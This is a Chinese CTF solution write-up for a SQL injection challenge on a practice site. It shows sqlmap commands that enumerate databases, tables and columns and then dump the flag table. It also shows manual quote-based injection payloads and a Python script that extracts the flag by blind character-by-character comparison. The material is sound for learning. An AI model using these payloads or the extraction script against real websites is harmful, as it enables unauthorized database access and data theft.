CTF解题笔记(3)

题目链接:http://ctf5.shiyanbar.com/web/index_3.php

还是一个SQL注入的题目,以下使用SQLMAP爆破的方式以及手工注入的方式来解决这道题目:

(1)sqlmap自动爆破:

首先是尝试看看这个url是否存在注入点:

在kali linux下使用sqlmap:

sqlmap -u http://ctf5.shiyanbar.com/web/index_3.php?id=1
可以测试得到,id这是一个注入点,并且可以得到后台数据库的一些信息

然后可以开始通过暴力破解的方式获取数据库文件的数据库名:

sqlmap -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 --dbs -v 0
CTF解题笔记(3)_第1张图片

可以看到,有两个数据库,第一个应该是属于系统的一个数据库,下面那个web1应该才是我们要的

然后开始获取数据库的列名:

sqlmap -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 --D web1 --tables
CTF解题笔记(3)_第2张图片

可以看到在web1数据库中有两个表,明显flag是我们要的那一个,看来我们离flag不远了!

接下来开始猜解flag表中的具体的列名:

sqlmap -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 --D web1 --tables -T flag --columns
CTF解题笔记(3)_第3张图片

看到了flag列名,看来离flag不远了,最后一步,猜解flag列中的具体内容:

sqlmap -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 --D web1 --tables -T flag --columns --dump
CTF解题笔记(3)_第4张图片

成功get flag!

(2)手工注入:

先令id=1,发现页面正常返回Hello!,然后令id=1',发现页面报错:

CTF解题笔记(3)_第5张图片

令id=0,页面无错误提示,不过也没有正常返回Hello!的页面

输入?id=1 and 1=2页面正常 ?id=1' and '1'='2 页面无输出

可以看出,这个是字符型SQL注入,未过滤引号和and,条件正确的情况下输出hello,错误无输出,比起SQL盲注,好像又多了语法报错

接下来是对表名的猜解:

令id=1' and(select count(*) from admin)>0 #

发现报错,不存在admin这个表,1' and(select count(*) from flag)>0 #的时候,返回hello,说明存在flag表

然后是对列名的猜解:

?id=1'and(select 列名 from flag)>-1 #

或?id=1'unionselect 列名 from flag #

当id字段列名存在输出hello,不存在则报错,

?id=1'and(select flag from flag)>-1 #,页面输出hello

最后就是对内容的猜解了,写了一个小脚本自动跑免得手工输入;

其原理就是把字段内容分解成一位一位,然后一个个比较:

#author:Travis Zeng
import requests
import time
import string
strings=string.digits+string.ascii_lowercase
element=[]
element_str=''
FLAG=False
def POC(x,j):
	url='http://ctf5.shiyanbar.com/web/index_3.php?id='
	poc="1'and+ascii(substr((select+flag+from+flag)%%2C%d%%2C1))%%3D%d%%23" %(x,i) #python中会将%翻译为结构化输出,若要使用%翻译转义字符则要用%%
	print('testing url:'+url+poc)
	res=requests.get(url+poc)
	if res.headers['Content-Length']=='471':
		return 1
	else:
		return 0

for x in range(1,35):
	for i in range(30,129):
		if POC(x,i):
			element.append(i)
			break
		elif i==128:
			FLAG=True
	if FLAG:
		break

for k in range(0,len(element)):
	element_str=element_str+chr(element[k])
print("Test Finish! ")
print(element_str)




你可能感兴趣的:(CTF笔记)